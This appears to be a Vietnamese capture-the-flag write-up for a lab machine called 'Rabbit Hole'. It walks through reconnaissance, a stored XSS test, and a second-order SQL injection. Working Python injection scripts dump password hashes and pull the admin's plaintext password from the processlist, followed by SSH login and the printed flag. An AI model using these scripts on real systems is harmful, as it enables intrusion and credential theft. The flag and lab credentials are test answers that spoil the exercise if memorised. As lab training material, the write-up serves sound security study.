Icon

Rabbit Hole

It's easy to fall into rabbit holes.

November 4, 2025 September 17, 2025 Hard
Author Author Hung Nguyen Tuong

Initial Reconnaissance

Chúng ta thêm dòng sau vào /etc/host để ánh xạ domain name:

10.10.21.160 rabbithole.thm

Service Scanning

┌──(hungnt㉿kali)-[~/Documents]
└─$ rustscan -a rabbithole.thm -r 1-65535 -- --no-nmap

Open 10.10.21.160:22
Open 10.10.21.160:80
┌──(hungnt㉿kali)-[~/Documents]
└─$ sudo nmap -p22,80 -A -v rabbithole.thm

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.59 ((Debian))
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: Your page title here :)
|_http-server-header: Apache/2.4.59 (Debian)
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 4.X
OS CPE: cpe:/o:linux:linux_kernel:4.15
OS details: Linux 4.15
Uptime guess: 19.968 days (since Thu Aug 28 21:32:08 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=259 (Good luck!)
IP ID Sequence Generation: All zeros

Từ kết quả scan của Nmap, ta thấy rằng máy target có 2 dịch đang chạy đó là SSH và HTTP. Bên cạnh đó, hệ điều hành là Debian.

SSH 22

image

Dịch vụ SSH cho phép chúng ta xác thực bằng mật khẩu, vì vậy ta có thể sẽ đi tìm các mật khẩu ở plain-text.

HTTP 80

Trang chính chỉ thể hiện ra 2 chức năng là đăng ký và đăng nhập.

image

Ở đây có ghi chú rằng, có các biện pháp chống tấn công brute-force, và chức năng đăng nhập đang được giám sát liên tục.

image

Directory Enumeration

Bây giờ chúng ta scan những thư mục và file ẩn trên website với ffuf:

┌──(hungnt㉿kali)-[~/Documents]
└─$ ffuf -c -w /usr/share/wordlists/dirb/big.txt -u http://rabbithole.thm/FUZZ -r -e .php,.txt,.html -fc 403 -t 100

image

Chúng ta chỉ phát hiện thêm được một endpoint dành cho việc đăng xuất, logout.php.

/register.php

Chúng ta sẽ thử đăng ký một tài khoản là demo:password. Đăng ký thành công cũng không hiện ra bất kỳ thông báo nào và lại quay về trang đăng ký.

image

Chúng ta lại thử tiếp tục đăng ký một tài khoản với username là admin xem có thông báo gì không.

image

Lần này, trang web trả về Something went wrong, có thể bởi vì username admin đã tồn tại.

/login.php

image

Bây giờ chúng ta sẽ đăng nhập với tài khoản demo vừa tạo:

image

Ta thấy rằng trang web hiện thị lần đăng nhập cuối cùng của user hiện tại và cả của user admin. Và admin có vẻ đăng nhập và đăng xuất sau mỗi phút.

Giả sử ban đầu chưa đăng nhập tài khoản nào, khi chúng ta nhập một tài khoản bất kỳ không tồn tại, thì trang web không trả về phản hồi gì và chỉ quay lại trang đăng nhập.

image

Sau khi gửi request với tài khoản hợp lệ thì ta xem được thông tin về các lần đăng nhập.

image

Nhưng lần gửi request sau đó với tài khoản không tồn tại vẫn thì trang web vẫn trả về các lần đăng nhập.

image

Có vẻ như cơ chế xác thực đang dựa vào PHP session ID và chỉ kiểm tra xem trước đó chúng ta đã đăng nhập chưa, chứ không kiểm tra tài khoản. Chúng ta chỉ trở về trang đăng nhập sau khi nhấn đăng xuất.

image

image

Cross-site Scripting

Nhớ rằng, admin đăng nhập và đăng xuất từng phút. Và mỗi lần đăng nhập có thể trang web của admin cũng sẽ hiện thông tin của các user khác.

image

Và ta để ý rằng username ta đăng ký được reflect tại ngay trên trang web. Vì thế ta có thể test lỗ hổng XSS tại đây với username là một thẻ <script>:

image

image

Và chúng ta đã thành công thực thi lệnh.

Bây giờ, chúng ta sẽ sử dụng XSS Hunter để lấy trộm thông tin từ admin khi admin đăng nhập lại.

image

Chúng ta thử đăng nhập để xác nhận xem script có được thực thi không.

image

Script đã được thực thi thành công và ta thấy kết quả tại trang XSS Hunter. Và bên cạnh đó ta còn thấy lỗi về syntax error của MariaDB được in ra.

image

SQL Injection

Ta có thể đoán rằng trường username khi đăng ký có thể bị dính SQL Injection.

Ta thử đăng ký một tài khoản với username có dấu nháy:

image

Không có gì. Với dấu nháy kép thì sao?

image

Và chúng ta xác nhận trang web chắc chắn dính lỗ hổng SQL Injection.

Thay vì phải đăng ký rồi lại đăng nhập thủ công để khai thác SQL Injection, ta viết một đoạn Python script để tự động làm điều này, ta chỉ việc nhập payload:

import requests

url = "http://rabbithole.thm/"

headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Cookie": "PHPSESSID=275f1d2448f1098db22874d15bd81ccc"
}

def logout():
    global headers
    headers["Referer"] = url
    r = requests.get(url + "logout.php", headers=headers)

def register(payload):
    global headers
    headers["Referer"] = url
    data = {
        "username": payload,
        "password": "pass",
        "submit": "Submit Query"
    }
    r = requests.post(url + "register.php", headers=headers, data=data)

def login(payload):
    global headers
    headers["Referer"] = url + "login.php"
    data = {
        "username": payload,
        "password": "pass",
        "login": "Submit Query"
    }
    r = requests.post(url + "login.php", headers=headers, data=data, allow_redirects=False)
    
    r = requests.get(url, headers=headers)
    print(r.text)

while True:
    logout()
    payload = str(input("\nPayload > "))
    register(payload)
    login(payload)

Trước hết ta đếm số cột trong câu truy vấn select hiện tại:

Payload > username" order by 2-- -

<table class="u-full-width">
<thead><th>User 8 - username" order by 2-- - last logins</th></thead><tbody>
</tbody></table>
</div></div></div>

Payload > username" order by 3-- -

<table class="u-full-width">
<thead><th>User 9 - username" order by 3-- - last logins</th></thead><tbody>
SQLSTATE[42S22]: Column not found: 1054 Unknown column '3' in 'order clause'</tbody></table>
</div></div></div>

Ta phát hiện chỉ có 2 cột, ta tiếp tục xem cột nào sẽ in ra kết quả:

Payload > " union select "first","second"-- -

<table class="u-full-width">
<thead><th>User 10 - " union select "first","second"-- - last logins</th></thead><tbody>
<tr><td>second</td></tr>
</tbody></table>
</div></div></div>

Sau một vài câu lệnh để trích xuất thông tin, ta thấy rằng mỗi dòng in ra bị giới hạn tối đa là 16 ký tự. Để xử lý vấn đề này, ta sẽ sử dụng nhiều câu lệnh union select liên tiếp để lấy ra từng đoạn 16 ký tự ở từng dòng, rồi sau đó in chúng nối liền nhau. Bên cạnh đó, ta cũng sẽ loại bỏ các cú pháp của HTML và chỉ lọc ra kết quả của câu truy vấn.

import requests
from bs4 import BeautifulSoup

url = "http://rabbithole.thm/"

def query(p):
    headers = {
        "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
        "Cookie": "PHPSESSID=275f1d2448f1098db22874d15bd81ccc",
        "Referer": url
    }

    r = requests.get(url + "logout.php", headers=headers)

    payload = '" '
    for i in range(1, 200, 16):
        payload += f'union select null,substr(({p}),{i},16) '
    payload += '-- -'

    r = requests.post(url + "register.php", headers=headers, data={
        "username": payload,
        "password": "pass",
        "submit": "Submit Query",
    })

    headers["Referer"] = url + "login.php"
    r = requests.post(url + "login.php", headers=headers, data={
        "username": payload,
        "password": "pass",
        "login": "Submit Query"
    }, allow_redirects=False)
    
    r = requests.get(url, headers=headers)
    tbody = BeautifulSoup(r.text, "html.parser").find_all("tbody")[1]
    tbody_text = tbody.get_text("\n", strip=True)
    if "SQLSTATE" in tbody_text:
        print(tbody_text)
    else:
        for fd in tbody.find_all("td"):
            print(fd.get_text(), end="")
        print("")

while True:
    query(str(input("\nPayload > ")))

Bây giờ ta sẽ trích xuất các databases, các tables, các columns, và cuối cùng là username và password:

Payload > select group_concat(schema_name) from information_schema.schemata
information_schema,web

Payload > select group_concat(table_name) from information_schema.tables where table_schema="web"
users,logins

Payload > select group_concat(column_name) from information_schema.columns where table_schema="web" and table_name="users"
id,username,password,group

Payload > select group_concat(column_name) from information_schema.columns where table_schema="web" and table_name="logins"
username,login_time

Payload > select group_concat(concat(id,":",username,":",password,":",`group`) separator "\n") from users where id < 4
1:admin:0e3ab8e45ac1163c2343990e427c66ff:admin
2:foo:a51e47f646375ab6bf5dd2c42d3e6181:guest
3:bar:de97e75e5b4604526a2afaed5f5439d7:guest

Sử dụng một trình hash cracker online, ta có thể crack được mật khẩu của user foobar, nhưng của admin thì không.

image

Và mật khẩu của 2 user kia là rabbit hole, có vẻ như đây là gợi ý cho chúng ta rằng đây không phải là hướng đi đúng.

PROCESSLIST

Bây giờ, ta không thấy còn phương hướng nào khác cả. Leak dữ liệu từ database cũng không có gì hữu ích. Trên trang web cũng không còn chức năng nào khác ngoài đăng ký và đăng nhập. Dịch vụ SSH thì chúng ta cũng chưa có thông tin gì để tiếp tục.

Ta để ý rằng, cứ mỗi lần sau khi đăng xuất và đăng nhập thành công vào hệ thống, trang web load trong khoảng 5-6 giây trước khi trả về phản hồi. Vậy có thể khi đăng nhập, phía server phải thực hiện một tác vụ nặng nào đó với databases, hoặc đơn giản chỉ là lệnh sleep bởi vì tại trang đăng ký có ghi rằng cơ chế chống brute-force được implement trong câu lệnh truy vấn. Có khi nào việc băm password được thực hiện ngay trong câu lệnh SQL thay vì trong code PHP?

Vì user admin liên tục vào ra mỗi phút, chúng ta tự hỏi liệu câu lệnh SQL sử dụng để xác thực admin có được lưu lại, và có cách nào để chúng ta có trích xuất ra câu lệnh đó không?

Sau khi tìm kiếm trên Google, ta có thể phát hiện ra trong MariaDB, schema đặc biệt đó là information_schema có một table với tên gọi là PROCESSLIST:

PROCESSLIST là một bảng ảo (virtual table, không lưu trữ dữ liệu cố định trên đĩa như table bình thường, mà được tạo ra “on the fly” bởi hệ thống, phản ánh trạng thái hiện tại của server) dùng để hiển thị tất cả các kết nối (thread) hiện có đến server. Mỗi dòng trong PROCESSLIST đại diện cho một kết nối giữa server với một client, chứa ID của thread, user đăng nhập, host kết nối, database đang sử dụng, lệnh đang chạy, thời gian tiến trình ở trạng thái hiện tại, và trạng thái chi tiết của tiến trình. Đặc biệt, cột INFO là nơi ghi lại câu lệnh SQL (query) mà tiến trình đó đang thực thi.

Bởi đây là một bảng ảo nên mỗi dòng sẽ bị xoá đi vào lúc nào đó, chỉ tồn tại chừng nào kết nối tương ứng còn sống. Cụ thể ở đây ta muốn trích xuất câu truy vấn khi admin đăng nhập bởi ta cho rằng có thể việc băm mật khẩu được thực hiện trong câu truy vấn, thì ta cần phải lưu ý vòng đời của kết nối rất ngắn. Thời gian tồn tại của dòng đó chỉ bằng thời gian thực thi câu lệnh là từ lúc query bắt đầu cho đến khi kết quả được trả về cho client. Với bảng nhỏ, điều kiện đơn giản, chỉ là vài giây, nên sẽ rất khó để bắt được đúng lúc.

Bây giờ ta sẽ sửa lại script Python để trích ra câu truy vấn khi admin đăng nhập. Ta sẽ trích ra cột info từ PROCESSLIST và loại trừ chính câu truy vấn đang được sử dụng. Và ta sẽ cần phải thực thi payload nhiều lần liên tục để có thế bắt được đúng lúc câu truy vấn. Nhớ lại rằng, cơ chế chống brute-force là delay 5-6 giây sau khi đăng nhập thành công, vì thế ta không nên đăng xuất rồi lại đăng nhập vào như trước. Thay vào đó, ta đăng ký và đăng nhập một lần với payload. Sau đó liên tục refresh lại trang, hy vọng có thể bắt được câu truy vấn sau vài lần thử:

import requests
from bs4 import BeautifulSoup

url = "http://rabbithole.thm/"

headers = {
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0",
    "Cookie": "PHPSESSID=275f1d2448f1098db22874d15bd81ccc",
    "Referer": url
}

r = requests.get(url + "logout.php", headers=headers)

payload = '" '
for i in range(1, 200, 16):
    payload += f'union select null,substr(info,{i},16) from information_schema.processlist where info not like "%info%" '

payload += '-- -'
print(payload)

r = requests.post(url + "register.php", headers=headers, data={
    "username": payload,
    "password": "pass",
    "submit": "Submit Query",
})

headers["Referer"] = url + "login.php"
r = requests.post(url + "login.php", headers=headers, data={
    "username": payload,
    "password": "pass",
    "login": "Submit Query"
}, allow_redirects=False)

print("\nLogged in.\n")

while True:
    r = requests.get(url, headers=headers)
    tbody = BeautifulSoup(r.text, "html.parser").find_all("tbody")[1]
    tbody_text = tbody.get_text("\n", strip=True)
    print("\nInjecting...")
    if tbody_text:
        for fd in tbody.find_all("td"):
            print(fd.get_text(), end="")
        break

image

Ta đã thành công lấy ra được câu truy vấn khi admin đăng nhập:

SELECT * from users where (username= 'admin' and password=md5('fEeFBqOXBOLmjpTt0B3LNpuwlr7mJxI9dR8kgTpbOQcLlvgmoCt35qogicf8ao0Q') ) UNION ALL SELECT null,null,null,SLEEP(5) LIMIT 2

Password của adminfEeFBqOXBOLmjpTt0B3LNpuwlr7mJxI9dR8kgTpbOQcLlvgmoCt35qogicf8ao0Q.

Shell as admin

Bây giờ chúng ta sẽ thử SSH luôn vào target bằng password vừa tìm thấy, thay vì đăng nhập trên website.

image

Chúng ta đã đăng nhập thành công và truy cập vào target dưới quyền của user admin.

flag.txt

admin@ubuntu-jammy:~$ ls -la
total 24
drwxr-x--- 2 admin admin 4096 Jul 20  2024 .
drwxr-xr-x 5 root  root  4096 Jul 20  2024 ..
-rw-r--r-- 1 admin admin  220 Jan  6  2022 .bash_logout
-rw-r--r-- 1 admin admin 3771 Jan  6  2022 .bashrc
-rw-r--r-- 1 admin admin  807 Jan  6  2022 .profile
-rw-r--r-- 1 root  root    50 Jul 20  2024 flag.txt
admin@ubuntu-jammy:~$ cat flag.txt 
THM{this_is_the_way_step_inside_jNu8uJ9tvKfH1n48}